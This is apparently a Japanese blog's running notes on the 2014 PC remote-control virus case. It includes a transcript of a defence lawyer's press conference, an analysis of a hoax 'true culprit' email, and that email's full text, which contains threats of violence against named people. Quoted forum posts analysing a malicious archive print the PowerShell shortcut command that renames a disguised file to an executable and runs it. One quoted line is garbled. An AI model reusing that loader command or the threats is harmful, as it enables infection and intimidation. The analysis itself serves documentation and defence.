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140621Satday

140604Wedday

[]偽真犯人メールについての記者会見(6/2)の文字起こし

2014/6/1に届いた「真犯人メール」を受けて行われた、佐藤弁護士による記者会見の文字起こしの全文。

日時:2014年6月2日 場所:司法記者クラブ東京霞ヶ関

動画

D

  • 「メール」は第三者によるもの。一連の事件は単独犯。脅された事実はない、と片山氏の回答。
  • 片山氏が河川敷メールでtorを使わなかった理由はヤフーメールの文字認証をクリアできなかったから
  • onigoroshijuzo2014から送った宛先のメールアドレス裁判の資料を読み取って片山氏自身が手動入力した
  • 手動による入力だったため、25人中1人のアドレスに間違いが発生した、と見ている。
  • 片山氏が保釈中、連絡を取った相手は4人(佐藤弁護士、武田弁護士、母親、友人=スマホの記録から)
  • 「メール」を見た片山氏の反応は「笑っていた」。荒唐無稽だったから?と接見した佐藤弁護士の感想。
  • 「ヒント poverty1398836253」を見て、片山氏は「嫌儲板かも」と回答。会見中、嫌儲板の説明が行われた。
  • 片山氏はネット上の反応を見て、完全なものを送っていたと思っていた。
  • 佐藤弁護士は「誰か」から宛先に間違いがあるという事を聞いていて、片山氏に尋ねた(ネット上の投稿を見て聞いたわけではない)
  • 佐藤弁護士の認識では25箇所のアドレスはオープンになっていない。だからこそ、片山氏は資料から手入力した。という認識。

下記、動画の文字起こしの全文

弁護士

昨日の未明に送信された安部銃蔵名義のメールですけど、これは、真犯人からのメールではなくですね、

いたずらというか、第三者が真犯人を装って送ったメールであると、いう風に見えます。

今日、片山さんと8時30分から、まあ、8時40分頃からですけど、

9時ごろまで接見をして、確認をしたところです。

片山祐輔氏がですね、一連の事件の犯人であるという事は間違いなくですね、

このメールで書かれているように、自分が誰かから脅されて、

真犯人であるかのように言ったというような事実は全くない、という風に言っていました。

◆司会者:

あ、それだけで?それ以外になにかあの、今日…

弁護士

あ、じゃあざっとした説明をしましょうか?

◆司会者:

はい

弁護士

昨日、このメールが送信されたという事は、しばらくたってから私も知ることが出来ましたけども、

内容的に言ってですね、秘密の暴露に類する事は全くありませんでしたし、

すでに私は片山さんから、詳細に事件の事について聞いておりまして、

彼が真犯人である事は間違いないと、いうふうに思ってましたから、

このメールに書かれている中身の事は、全く事実に反することだと思っておりました。

しかし、何人かの方から問い合わせがあり、

場合によっては片山さんが発覚をして捕まるまでの間にですね、

こういうメールの送信を準備してたとか、それから、第三者に送信を頼んでいたとか、

いくつかの可能性があるので、その事についても確認をしました。

それで、まずですね、またこのメールを予告送信のような形で送信する事はできるかどうかについて

聞きましたところですね、それは絶対にないという風に言ってました。

それはですね、前の真犯人メールをtorを使わないで送信した理由とも関係するんですけど、

ヤフーウェブメールは、送信する前にですね、認証っていうプロセスがあって、

私も知ってますけど、文字がですね、歪んで書かれているのを確認して、入力してください、と

いうようなプロセスがあるんだそうです。

よってですね、torを使ってヤフーメールを送ることは、できないと、いう風に自分は知っていたのでですね、

別の方法で予告送信の方法を行ったと。

今回のメールがですね、ヤフーメールで、torで送っているとすると、

それは言わば、送信される直前にですね、今のような手続きを誰かがやっているという事になるので、

自分が獄中にいる自分がそういう事は出来ないという風に言いました。

もうひとつは、そういう事だと、捕まるまでに第三者に頼んだのかという事ですけど、

自分が当時持っていたスマホはですね、拘留と同時に、拘束されると同時に押収されたわけです。

そのスマホを見てもらえばわかるけども、自分が逃走を図って収監されるまで、

連絡した人は4人しかいない、という風に言いました。

私と、武田弁護士と、母親と、もう一人友人がいるんですけど、

これは私の目の前で名前も分かってますけど、電話をかけておりまして、

それ以外には一切連絡をとっていないのでですね、

第三者に頼んだっていう事も「ない」と、言っていました。

ただ問題はですね、ここからですけど、この25箇所に宛てて送信されたと。

それで、自分の送った真犯人メールとですね、そのアドレスの順番とも一致したという事が書かれておりまして、

この事はですね、自分が送った真犯人メールのアドレスを知ってる人物という事になる。

それでですね、それは送信された25人かですね、その人から情報を得た人物という風に考えられるので、

このメールを送信した人は言わば絞られているはずだ、という風に言っておりました。

それでですね、ここはちょっと私いま、新しい問題として起きたんですけども。

25箇所のメールアドレスがですね、完全に、その前の謹賀新年メールとか、延長戦メールのアドレスと

一致していたという風に、みなさん理解してらっしゃると思うんだけど、

私誰かから聞いたんですけど、一箇所だけですね、ひとつだけドレスがなんか違っていると。

いう話を聞いたことがあったんです。

それでですね、今回改めて、彼が真犯人メールを送るときに、このアドレスをどういう風にして

入力をしたのかを聞きました。というのは、彼が所持していたパソコン類は全部押収されていまして、

彼が送るためにはそのアドレスをどういう風に知ったのかというのが重要な問題だったからです。

それで聞いて分かったこと、今日聞いてはじめて分かりましたけど、

開示証拠の中に、このメールについての資料があるわけですけども、

そこに書かれたPDFを見てですね、今回あらたにですね、

手作業で入力して、アドレスを書いたと、鬼殺し銃蔵で、という風に言っています。

それでですね、もしその一箇所誤りがあったとすると、その手作業の仮定で生じることになるからですね、

もし本当にそういう事があったとすると、今回の送信メールにそれがそのまま反映されているかどうかという事は

きわめて重要な事だという風に彼が言いまして、その点を確かめてもらう必要があると思います。

ここに望む前にですね、検察、平光検事に私のほうで電話をかけまして、

彼から聞いた20分足らずの時間で聞いた中身の事ですけどすべてお話をしました。

たまたまですね、今日9時すぎから1日検察官の取調べが予定されておりまして、

私たちの接見の予定の日ではなかったのですけど、その前のところで、接見しましたので、

おそらくだけど、今の時間帯は、検察官の調べがあって、今、言っているようなことをもっと詳しく

彼が供述していると思います。

彼の気持ちとしてはですね、是非この今回の問題について全く違うメールが出されているのでですね、

調べてですね、ほしいと。

これはまあ私の考えですけど、愉快犯的な犯罪ですけども、

表題のところにですね、あ、タイトルのところですね、間違いなく脅迫的な事が書かれているので、

これ自身、脅迫メールだと考えられます。

それだけではなくてですね、言ってみれば実際に継続している裁判について、

真犯人であると認めている片山祐輔氏はそうでないかのように言ったわけでですね、

偽計による業務妨害という事も大いに成り立つものだと思います。

それで、安心していただきたいのですけれど、メールを読んだときに、

彼に気持ちというものを聞いた時にですね、これは面白おかしく書いてもらいたくないのですけど、

正直にいって20%程はですね、メールに書かれているように自分が脅されていて、

実は自分が犯人ではないんですと。前回、法廷で認めた事は事実と反するという事で、

もう一回否認したらどうかっていうような気持ちは分からなかったわけじゃないですけどもですよ、

もう既に私にですね、あるいは裁判所でもこの間、CSRFなど秘密の暴露に類する事も話しておりまして、

自分がいまさら真犯人でないなんて事をいうような事をできるわけじゃないので

その気持ちは、そういう意味では起きなかったんだけども、

やっぱり一歩間違えてしまうと、そういう事にもなりかねないようなメールで、

単にいたずらで済まされるような問題ではないと、私は思います。

ですから、検察官にも申し上げましたけども、

ぜひとも、このメールを送った人物が誰かという事を、特定していただきたいと思います。

もし送った人がいるとすれば、素直に名前を挙げればですよ、私は刑事事件にされないかもしれないけども、

このまま過ごされると思ったら大間違いで、これを送った人はですね、片山祐輔予備軍というか、

そういう邪悪な心が自分の中にもあると、いう事の証明みたいなものなので、

ぜひともこのメールを送った人はですね、真剣に、自分がやった事について考えてもらえたらと思う。

そのことは、片山祐輔さん自身がですね、言っていた事でもあります。

ぜひ、この偽メールを送った人物について解明してほしいという風に言っておりました。

その事について、検察官全面的に協力すると、いう風に言っておりました。

以上です。

◆司会:

では、各社、ご質問ある方。

◆記者:

共同通信の**です。

アドレスの送信先の一致の部分なんですけど、、

現在のところ、打ち間違いの部分まで重なるかどうかは確認中という事ですか?

弁護士

あのね、打ち間違いがあるかどうかというのは、分からないです。そういう意味で言うと。

彼の認識は、真犯人メールを送りますね、それでネット上で反応というのを発覚するまで確認をしていて、

ちゃんと正しく完全なものを送っていたと思っていたと言うんです。

それで私がですね、誰かからなんですけど、一箇所だけ違っているという話を聞いておりまして、

今日はじめてそのことを伝えましたら、で、その仕組みを聞いたらば、手作業で新しくやったので、

もしその可能性があれば、今回のアドレスに反映されているかどうかが、

ひとつのポイントだという風に言っているだけで、不一致点があるかどうかは分かりません。

◆記者:

25箇所のアドレスと言うのは、ネット上なんかでもオープンになっているものなのかどうかというのは、

先生のほうでは把握されていますか?

弁護士

私が知る限りではですね、ネット上ではオープンになってないと。

だからこそ、彼は、開示証拠の中から手作業でやったので、

この25箇所のアドレスはですね、送信を受けた人はわかってるわけですけど、

それか、その人から転送を受けた人。どちらにしても、一定の範囲に絞られていると考えられます。

そこから、もうひとつ関連ですけど。

鬼殺し銃蔵というアカウントについてですけど、鬼殺し銃蔵というのと、それから鬼殺し銃蔵2というのと、

鬼殺し銃蔵2014というアドレス3つ関係していて、ていうわけですけど、

最初の鬼殺し銃蔵というアカウントですけども、今日聞きましたらですね、

11月13日に自殺予告メールを送信した後ですね、

そのアカウント第三者がですね、ログインしているという事がわかったのでですね、

11月だった思うけども、パスワードをですね、変更したんだそうです。

それで誰もアクセスできない状態になっていた。

そのアカウントをですね、謹賀新年メールを送る際に使って送信した。謹賀新年メールを。

謹賀新年メールを送信した段階では、雲取山でUSBが発見されると考えていたし、

ラストメッセージでこれでおしまいと書いていたので、その段階でそのアカウントを削除してしまった。

ところが、USBが発見されないという報道に接して、延長戦メールを送ることを考えて、

それで、鬼殺し銃蔵2というアカウントは1月1日の未明に送信されているわけですけど、

1月4日のですね、送信する直前に新たに作成して、パスワードも設定して、

それで延長戦メールをおくる。で、一回きり使っただけでパスワードを覚えていた。

それで、今回の真犯人メールを送る際に、その真犯人しか知らないアカウント

鬼殺し銃蔵2にログインをして送ればですね、間違いなく真犯人であるとわかるわけだけども、

それはログインはできたんだけれどもですね、メール送信の部分が閉鎖されていて、

メールが送信出来ないという事に気づいたので、新たに5月15日に、

河川敷でですね、鬼殺し銃蔵2014というアカウントを新たに作って、送信したと。

それで、それはそれでまあ、使わなく。今回はもちろんそれを使っていないわけですけども、

2014というものに、ちなんだですね、アカウントを新たに作ってですね、いるという事です。

それからもう一つですね、このメールの中にヒントというのが書いてあって、

「2ちゃんねるにウイルスを貼ったら踏み台がたくさん集まりました」という事で、

povertyと数字が書かれているものがありますけど、これについて聞いたところですね、

これは多分、2ちゃんねるのですね、スレッドの番号だと思うんだけれども、

povertyというのはですね、「けんもういた」といってましたけど、「けんもう」というのはですね、

嫌うっていう字に儲けるっていう漢字を書いて、「けんもう」という風に読むんだそうですけども、

嫌儲板っていう、儲ける事を嫌うっていう意味らしいです。

それで、色々なものを便乗してですね、お金儲けするのはけしからんという事で、

転載禁止っていうようになっていて、povertyというのも、そういう事をいうのかもしれないけど、

そういうようなもので、なんかアフィリエイトブログというのを、

アフィリエイトアフィブログというんだそうですけども、

そういう所の事を言っているんじゃないかという風に、彼は想像で言いましたけど、

事実になっているかどうかは私は確認していません。

だけども、この「おまけ」って言うのが何を意味するのか分からない、という風に。

あとまあ、質問されれば思い出す事はあるかもしれない。

◆記者:

今回のメールはtorを使って送られているかどうかっていうのは佐藤先生のほうでは把握されているんですか?

弁護士

これはtorを使って送られていると書かれている、言われているので、

torを使って今のヤフーメールから、その時刻に送信しなきゃいけないというのが彼の理解ですね。

今のtorを使ってヤフーメールを、予告送信ができるとすればですよ、

彼に言わせれば、当然真犯人メールはそうしたはずなんだけど、

それはできないという理解に基づいているから、

逆に言うと、このメールは自分ではあり得ない、こういう説明です。

◆記者:

最初にこういうメールがまた来たという事を本人に話した時の反応はどうだったんですか?

弁護士

はっは(笑)

今日は行ってみれば予定していた接見ではないので、8時半、まあ40分からいって

彼もまあ怪訝な顔をしておりまして、実はこういうメールが届いたんだという事を

説明したら、見せてくださいといいまして、読み始めたんです。

それで、その時にはちょっとなんか、笑う、笑いながらというか、

文章を読んでですよ、言ってまして、不謹慎なのかもしれないですけど、

要するに書かれている内容が荒唐無稽だという事でですね、読み終えたと思います。

それでですね、「どうだい?」といった風にいいましたら、

「それはもう全然自分とは違うものだ」とすぐ言ってくれましたので、

半ば私も安心したというと変ですけれど。

後、言いましたけど、あなたがしたんじゃないというのはどういう事なんだ、という説明と、

そうじゃないとして第三者に頼んだ可能性はないかと。

はっきりとですね、事件は単独犯で、前の事件。共犯者が居たわけじゃない、という事を一つ。

それから今回、出頭する前にですね、誰かに真犯人である事を打ち明けてですね、

こういうのを後で送ってほしいというようなことを頼んだ事実もない、ように言っている。

◆記者:

その25のアドレスというのは片山さんから出たんではなくて、佐藤先生が話されている?

弁護士

いえ。私は「サトルネット」というのに書かれている書き込みを示して、説明したんですけど

25箇所のアドレスが一致しているという事を彼は確かこれを読んで気づいたと思うんですけど、

だとすると、これはいわば非公開のね、情報のはずだから、

送信した人は絞り込まれるはずだ、という事は彼自身が、そういう事を。

自分が送ったメールを受け取った人の関係者、その中の一人。

もう一つ言うとですね、25箇所のアドレスについてはですね、

名前も分かっている人もいるんだけども、

ただそのアドレスだけでですね、誰かが分からないと、あのアドレスっていうのは、

返信をくれた人にやっているわけですけど、アドレスしか分からない人がいるといってまして、

要するにその点、今回のメールをきっかけに是非しらべてもらいたいと。

警察はそれはたぶん分かっているんじゃないかと思います。

◆司会:

質問などござますでしょうか。

◆記者:

繰り返しになるんですけども、河川敷で送ったメールのときのアドレスは片山被告は手作業で打ち直した。という事ですよね?

弁護士

そうそう。アドレスを河川敷で入力したかどうかっていうのは私は正確にはわかりません。

ファイルの形で持っていて、それを貼り付けるっていうかなんかありうるんだけども、

一番最初のところの作業は、彼は開示書のPDFっていってましたけど、

PDFを見てアドレスを知ったっていう事です。

変な話、自分が送ったんだけど、もう全部データがないので、今回の送信に際してそうやったと。

河川敷で実際にそれを見ながらそれをやったかどうか、私はそこまでは聞いていません。

◆記者:

手作業である事は確かですか?

弁護士

手作業です。ですから、そこで、もしアドレスに間違いがあるとするとですね、

そういう事で生じた可能性はあると、彼が言ってます。

◆記者:

実際、そのとき間違ってしまったアドレスがあるという事ですか?

打ち間違えたアドレスがあると片山さんが言ってるんですか?

弁護士

いえ。だから、完璧だと思っていたと。

さっき言ったと思いますけど、送信しますね。

それで、どういう風な反応があるかと確認していて。

「じんぼうさん」って言ってましたけど、「じんぼうさん」のメールをみたら

25箇所完全一致という風に書いてあったから、ちゃんと正しいと思った。

それで、「じんぼうさん」に聞いたら、実は「じんぼうさん」は25箇所全部情報もってないらしいので、

◆記者:

一個一個、全部、照合はしていないと?

弁護士

そうです。だから「じんぼうさん」は実はわかってないんだよと。そういう意味では。

それで、落合さんに聞いたら落合さんはざっと見たところ一致していたので、

自分も一致していると思ったんだけど。

で、どなたかが言われたか知らない、覚えてないんですが、

言った人違ってましたけど、その事が今回ね、急にちょっと思い出されて、

本人にきいたところ、打ち間違いはその可能性はありますと言っただけで、

打ち間違えたなんて事は、もちろん分かりません。

どのアドレスが間違ってるかもわからない。

完全に一致しているかもしれません。そういう意味でいうと。

でも、その事を知ってた人って、今考えると、なんか怪しいかも知れない。

なんでその25箇所のアドレスを分かるのか、ちょっと分かりませんけど。

◆記者:

定かではないけれども、今回送られた、いたずらとされるメールも

片山さんがもし間違えたとしたら、その間違いを一緒に引きづっているかもしれない?

弁護士

そういう事です。

彼が送った真犯人メールを踏まえて今回のメールがいずれにしても作られていると。

別の情報では、アドレスの順番も完全に片山祐輔が送った真犯人メールと一致しているらしいので。

だから単なるいたずらメールでは全然なくて。

5月16日に届いたメール、情報に接することが可能な人がアドレスを送信する可能性がある、という事です。

140602Monday

[]25人の送付先のドメイン別の分類と属性まとめ

25人の送付先のドメイン&属性

その他区分のメールアドレス検索ヒット数

名前等を公表している個人かどうかの指標としてメールアドレスgoogleで検索をしてみた結果

  • 落合弁護士、自分以外の個人は特に実名などを公表している個人ではないようだ

25人の送付先が使われた「真犯人」からのメール

2013年1月1日「謹賀新年」

2013年1月5日 件名:新春パズル 〜延長戦〜

2014年5月16日 件名:皇居にロケット砲を(略

2014年6月1日 件名:安倍晋三の心臓に(略

メールアドレスの順番

  • 順番は、真犯人が初期に使っていた onigoroshijuzo@yahoo.co.jp 宛にメールを送った着信順の可能性が高い。
  • 少なくとも、うち(yano@satoru.net)はメールを送って以降、真犯人からメールが届くようになった。

落合弁護士「メールが届かなかった1個所を除く24個所及び拡散先が容疑者

https://twitter.com/yjochi/status/473315025210204160

落合洋司 ‏@yjochi

被告人は、16日のメールを、資料を見ながら手入力で入れたとのことで、1日メールには関わっていない、とのことなので、16日メールを見た者による模倣、という可能性が高そう。25個所のうち、メールが届かなかった1個所を除く24個所及び拡散先が容疑者

13:07 - 2014年6月2日

25人中、2014/5/16の真犯人からのメール受信を公表している人物は4名

25人中、2014/5/16真犯人からのメール受信を公表&メールアドレスを一般公開している人物は2名

[]5/16 & 6/1の真犯人メールに共通のあて先の間違いが発見される

落合弁護士『25個所の宛先のうち、1個所が間違っていた』

https://twitter.com/yjochi/status/473314395703869440

落合洋司

‏@yjochi

5月16日に来た真犯人メール。よく見ると、被告人の逮捕前に送られてきた、謹賀新年延長戦メールと、25個所の宛先のうち、1個所が間違っていた(2文字欠落)。そして、6月1日に来たメールでも、その間違ったアドレスはそのまま。

間違えている部分

2014/6/1

 miyama-h@

2014/5/16

 miyama-h@

2013/1/5

 miyayama-h@

2013/1/1

 miyayama-h@

※@以降のドメインは省略。大手新聞社のドメイン

  • "miyayama" が 2014/5/16以降は"miyama" になっていた。
  • 6/1のメールは5/16のあて先が利用されている可能性が高い?
  • 「真犯人」が間違えている事を気づかずそのまま送信した?
  • 5/16と同じ部分を間違える為には、5/16の宛先の入手元が問題になる。
  • 5/16の宛先リストは「真犯人」、宛先の25人、捜査関係者以外には外部公開されていない、はず。

[]江川氏「例のメールについて、片山氏自身は心当たりがないもよお」

https://twitter.com/amneris84/status/473285686016376832

Shoko Egawa

‏@amneris84

また聞きですが、例のメールについて、片山氏自身は心当たりがないもよお

11:11 - 2014年6月2日

[]阿部銃蔵のヤフーアカウント削除される

2014/6/2 3:53現在、

真犯人を名乗った人物が使っていたヤフーアカウント(onigoroshijuzo11111011110@yahoo.co.jp)は削除された様子。

プロフィールページにアクセスが出来なくなっており、メールも不通になっている。

http://profiles.yahoo.co.jp/onigoroshijuzo11111011110

昨日(6/1)までは見れたのに、現時点では表示できなくなった。

これまでの真犯人のアカウントの状況 (2014/6/2 9:00時点)

× onigoroshijuzo http://profiles.yahoo.co.jp/onigoroshijuzo

○ onigoroshijuzo2 http://profiles.yahoo.co.jp/onigoroshijuzo2

△ onigoroshijuzo2014 http://profiles.yahoo.co.jp/onigoroshijuzo2014

× onigoroshijuzo11111011110 http://profiles.yahoo.co.jp/onigoroshijuzo11111011110

onigoroshijuzo
onigoroshijuzo2
onigoroshijuzo2014

http://gyazo.com/3b0463f8906a2fa350d797e4d1b0bcdf

onigoroshijuzo11111011110

140601Sunday

[]【安部銃蔵】真犯人の名乗る人物からのまたメール(全文+ヘッダー)

本日、2014年6月1日00:00:30、遠隔操作の「真犯人」と名乗る人物からまたメールが届いた。

※便乗犯、摸倣犯の可能性もあるので、取り扱い要注意。

ヘッダー情報付き(メールのソース)

全文

@タイトル

安倍晋三の心臓に弾丸ぶち込んで自民党本部にロケット砲を撃ち込む自民党員と

アグネスのPCに児ポぶち込む札幌ガスボンベ大爆破霞ヶ関あぼーん唐沢貴洋あ

ぼーん西村博之あぼーん

@日付:

2014年6月1日 00:00:30

@From:

安部銃蔵 <onigoroshijuzo11111011110@yahoo.co.jp>

@To:

省略。前回の真犯人からのメールと同じあて先(25名)。メールの順番も同じ。

@本文

毎度忘れた頃に現れる真犯人でーす

といってこの事件が忘れられた頃にでも現れようかと思っていたのですが

これ以上片山さんを苦しめるのはさすがに気の毒なので特別にお知らせします。

今回片山さんに自作自演を指示し無実を一転させるよう仕向けたのはこの私です。

あらかじめ片山さんのプライバシー情報をゲットしていたので、従わなければ今まで入手したプライバシー情報を全て拡散するなどと言って脅しました。

連絡先や行動パターン等々も把握するのは容易いことでした。

片山氏が保釈後に尾行されているということも当然わかっていたので、これも利用されてもらいました。

あえて見晴らしの良い場所を彼自身に選択させました。彼は河川敷を選んだようですが、なかなかグッドなチョイスでした。

今回のために彼にスマホやPCをこっそり用意させ、onigoroshijuzo2014アカウントを発行させ私が作成した文章をコピペさせて公判中の時間にでもタイマーで送信するようにさせました。

その後は適当に逃げて捕まったら自分が真犯人かのように振る舞い無実を一転させ有罪、というシナリオです。

片山さんが自殺を試みたとの報道がありましたが、生きていてくれてよかったです。

せっかく用意したゲームでプレイヤーに死なれてゲームオーバーになったんじゃ話にならないので。

■どうやって指示したのか?

まず代行者に専用のURLのみ伝えさせました。片山さんに直接渡したのかどうしたかは知りません。監視者等考慮する必要があったので

手段タイミング等は代行者にお任せです

あ。代行者というのは私の共犯というわけではなく、そういう代行業者さんです。

指示内容とメール文はネット上に載せておきました。当然ですが既に削除済みです。

指示文は保存禁止にし、メール用の文章のみ彼の端末にコピペさせました。

ちなみにURLは記憶に残りにくいものにしたのでまず覚えていないでしょう。もちろん海外のサーバーです。

痕跡が残っているはずはありませんが、でもまあ頑張っていろいろ解析してみてください。何か手がかりが掴めるかもしれませんよ^^

片山氏や代行者へはいずれもこちらからの一方的(一方通行)な指示でしたので連絡を取り合うという形はとっていません。

やるかやらないかもあくまで片山氏自身の判断です。でもまあ弱みを握られてるんじゃ流石にせざるを得ませんよね(笑)

■その他

思っていたより順調だったので満足です。やはり高学歴さんはものわかりがいいですね。とても助かりました。

記念すべき5人目ということで人間遠隔操作の特別サプライズです。楽しんでいただけましたか?

今回片山さんはよく頑張ってくれました。

片山さん、佐藤弁護士江川さん、その他片山さんを支えてきた方々ご苦労様でした。大変素晴らしいご活躍でした。

それにしても世間の皆さんひどい手のひらの返しようでしたねぇ。まったくヒドイ世の中ですねー

この遠隔操作事件というゲームは5人目で締めくくろうと思っていますが、今後、警察・検察の行いによってはまた新たな被害者が出るかもしれないのでくれぐれも注意してくださいね。

あ。今回この件について一番面白い報道をしてくれたテレビ局には、ご褒美に特製花火をプレゼントしてあげましょう

■おまけ

この前、2ちゃんねるにウイルスを貼ったら踏み台がたくさん集まりました。

なのでまたいつでもゲームを始めることも可能です。

ヒント:poverty1398836253

■最後に

もし以上の事を刑務所に入る前に少しでも話してしまったら、片山さんのプライバシー情報全て流出させるように脅してあります。

でももういいです。終わりです。早く片山さんに伝えて楽にしてあげてください。

メールのデータ

PDF

http://yokoku.in/enkaku2012/abejuzo_140601.pdf

@TXT

http://yokoku.in/enkaku2012/abejuzo_140601.txt

@ヘッダー情報付き(メールのソース)

http://yokoku.in/enkaku2012/abejuzo_140601_source.txt

発信元情報など。

メーラー

YahooMailClassic/6.0.18 YahooMailWebService/0.8.111_53

Yahoo!のWebメーラーから送信している。(SMTPではない)

@送信日時

Sun, 01 Jun 2014 00:00:30 JST

ソース

Received: from [192.227.170.19] by web101405.mail.kks.yahoo.co.jp via HTTP; Sun, 01 Jun 2014 00:00:30 JST

X-Mailer: YahooMailClassic/6.0.18 YahooMailWebService/0.8.111_53

X-YMail-JAS: derF9KEVM1lathZJ7nDhFxBOU5DhzIbbOEyyzIRhW6eBav4OFWjzLqt7I_4d_ui6ANFJpfECtwqG4_EgQXOMpdjktjsK37qpUHQaLzApLmFh.PL54LTs8PHfHvCX82tcGSh4

Date: Sun, 1 Jun 2014 00:00:30 +0900 (JST)

@発信IP

192.227.170.19

現時点(2014/6/1)のtor statusによると、torIPの模様。

このIPルーター情報 (192.227.170.19)によるとアメリカtor exitのようだ。

※いずれも2014/06/1 4:30時点のもの

簡単な考察

矛盾点など

その後は適当に逃げて捕まったら自分が真犯人かのように振る舞い無実を一転させ有罪、というシナリオです。

  • 現実には片山氏は「適当に逃げて」おらず、自殺未遂後、自ら弁護士に連絡をした。警察も行動把握していなかった。

片山さんが自殺を試みたとの報道がありましたが、生きていてくれてよかったです。

せっかく用意したゲームでプレイヤーに死なれてゲームオーバーになったんじゃ話にならないので。

  • 「真犯人」の指示で、自作自演で無実を一転させるよう仕向けだけなら、片山氏の自殺未遂の動機は?

メモ

便乗犯、愉快犯
  • メールのあて先さえ入手できれば、第三者でも実現可能。
真犯人・協力者説
  • 従来の「真犯人」メールと時間帯(深夜&土日)の傾向、torを利用している点などは一致。
  • 遠隔操作事件の秘密の暴露などが一切ない為、100%「真犯人」だと確定できない。
片山氏による仕込み、自作自演
  • 片山氏が失踪中に河川敷での行動の言い逃れの為にこのシナリオを考えて、タイマーをセットしてから収監された?
  • Yahoo!Webメールtorを経由して自動送信する事は技術的に可能かどうかの検証が必要。(bot対策などで文字認証などが出てしまう可能性など)
  • 今回のメールの内容には失踪時点で判明している情報だけなので、失踪中に作成する事は実現可能。
  • 河川敷でのタイマー送信、捜査員の追跡、収監、今回のメールまで含めてすべて計画の一環だった?前回のタイマーでの逮捕はこれまでの慎重な真犯人と比較して、あまりにもずさんすぎて納得がいかない。との見方もあった。


関連リンク

真犯人がヒントで示しているスレッド

■おまけ

この前、2ちゃんねるにウイルスを貼ったら踏み台がたくさん集まりました。

なのでまたいつでもゲームを始めることも可能です。

ヒント:poverty1398836253



ウイルスについての指摘(?)と思われる投稿

http://fox.2ch.net/test/read.cgi/poverty/1398876571/35

35 :番組の途中ですがアフィサイトへの転載は禁止です:2014/05/01(木) 02:00:00.83 ID:3I146ai20

>>22

まとめ

rarの中身

 desktop.ini: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bit, UPX compressed

 mov.lnk: MS Windows shortcut

 thumbs.db: Macromedia Flash Video

 mov.lnkの内容というかプロパティ

 C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe md 'mov' ;del 'mov.lnk' ;saps mov ;mv thumbs.db mov\mov.flv;sp mov\mov.flv attributes Archive;mv 'desktop.ini' '%temp%\x.exe';saps '%temp%\x.exe';

トラップのシナリオ

 ・解凍したらファイルが3つでてくる。

 ・そのうち「mov」と名前が付いてる、「フォルダのアイコン」をしたショートカットトリガー

 ・こいつをダブルクリックとか「開く」とかやると

   ・desktop.ini を、c:\temp\x.exe という名前にリネーム移動

   ・そいつを実行

アウトとセーフ

 ・解凍しただけならセーフ

 ・というか、mov ショートカットに触ってなければ問題ない

 ・ショートカットダブルクリックとか「開く」とかしたらアウト、シングルクリックは多分大丈夫

 ・XPならそもそも↓こんなものは存在しないのでセーフ。vista/7/8は知らん

   C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe

thumbs.db

 JCJSウェブカメラムービー。ニコ生かなんか?パンツも乳首もない、まあ普通の映像

http://fox.2ch.net/test/read.cgi/poverty/1398876571/529

529 :番組の途中ですがアフィサイトへの転載は禁止です:2014/05/01(木) 03:23:35.26 ID:o7sFdkS+0

トレースしてみたが

これ想像以上にかなり悪質かも知れん。

まず、どっかと通信してるんだけど、

これがおそらく実行ファイル置き場。

今は何も置いてないみたいだから特に害はないが

この置き場に実行ファイルが置かれたら

勝手にPCにダウンロードして勝手に実行するようになってる模様。

さらにレジストリにも同時に書き込みをしており、

手動で消したところで「実行ファイルが消されたら新しい実行ファイルを生成」という

命令が出され、しかもファイル名を変えて実行ファイルが作成される。

vmcサキュラバス関数をいじっており、

相当高難度なプログラムとなってる。

もっと分かりやすく箇条書きすると、

仝什澆里△蕕罎ウイルストフトでは探知出来ない

▲侫.ぅ訝屬場との通信を常に行っており、そこに悪質な実行ファイル置かれたらおしまい

手動で消したところですでに常駐&レジストリいじりをされており、無駄

とりあえず、これから先、「何かされる」可能性が高いので

「今特に何も起こってないからセーフ」とは考えてはいけない。

「何かされる」のを防ぐ方法はある。PCの通信を遮断すること。

これなら現状のウイルスが常駐してようと、「成長」することはない。

情報はスマホやサブのノートPCなどで収集するといい。


記事など

遠隔操作ウイルス事件「真犯人」メールが再び届く 「早く片山さんに伝えて楽にしてあげてください」

2ちゃんねる現行スレ

嫌儲

140521Wedday

[] 遠隔関連メモ「隠していたPCで書いた」「自分の中に良い自分と悪い自分がいる」

このメールについて片山被告が弁護団に対し、「メールは有罪判決が出た場合に備えて保釈前から内容を考えていた。隠していた小型のパソコンで文面を書いて、SDカードに保存して携帯電話に移して送信した。1か月ほど前から実際に作り始めていた」と話していることが分かりました。

また、「メールの送信には送信予約ができるアプリを使い当初は有罪判決が出て2日後くらいに送る計画だった。無罪だった場合は、キャンセル指令を出すつもりだった」と話しているということです。

片山被告の自宅マンションの駐輪場の屋根裏から、メールの作成に使われた疑いがある小型のパソコンが押収されていて、警視庁で解析を進めています。

20日、再び収監された元会社員の片山祐輔被告が接見した弁護団に「自分の中に良い自分と悪い自分がいる」などと話していることがわかった。弁護団は片山被告の精神鑑定の請求を検討している

[] 「後で掘り返す時のためか、歩幅を測るようにして埋めた場所を確認」との報道

毎日新聞の今日の報道によると、

15日夕、東京都江戸川区の荒川河川敷。合同捜査本部の捜査員の目は、不審な動きをする片山被告に注がれていた。

地面に何かを埋めるような仕草。後で掘り返す時のためか、歩幅を測るようにして埋めた場所を確認している。

捜査員らは、この一部始終をビデオに収めていた

しかし、佐藤弁護士による20日の記者会見の記者との質疑応答(1:03:35〜)では、

  • 記者「埋めっぱなしにして、取りに行くつもりはなかったのか?」
  • 弁護士「埋めっぱなしの前提でやっている。」

とのやりとりがある。

弁護士の見解「埋めっぱなしの前提」と、報道「歩幅を測るようにして埋めた場所を確認」には行動の矛盾がある。

直近では掘り返すつもりはなかったが、いずれ時期をみて回収する意思(証拠隠滅)があったのか?


ソース1:毎日新聞の報道

PC遠隔操作:誤認逮捕の4警察本部…執念の尾行2カ月半(キャッシュ)

  • 15日夕、東京都江戸川区の荒川河川敷。
  • 地面に何かを埋めるような仕草。
  • 後で掘り返す時のためか、歩幅を測るようにして埋めた場所を確認している
  • 捜査員らは、この一部始終をビデオに収めていた

15日夕、東京都江戸川区の荒川河川敷。合同捜査本部の捜査員の目は、不審な動きをする片山被告に注がれていた。

地面に何かを埋めるような仕草。後で掘り返す時のためか、歩幅を測るようにして埋めた場所を確認している。

捜査員らは、この一部始終をビデオに収めていた。

ソース2:佐藤弁護士による20日の記者会見 1:03:35〜

記者「埋めっぱなしにして、取りに行くつもりはなかったのか?」

弁護士「埋めっぱなしの前提でやっている。」

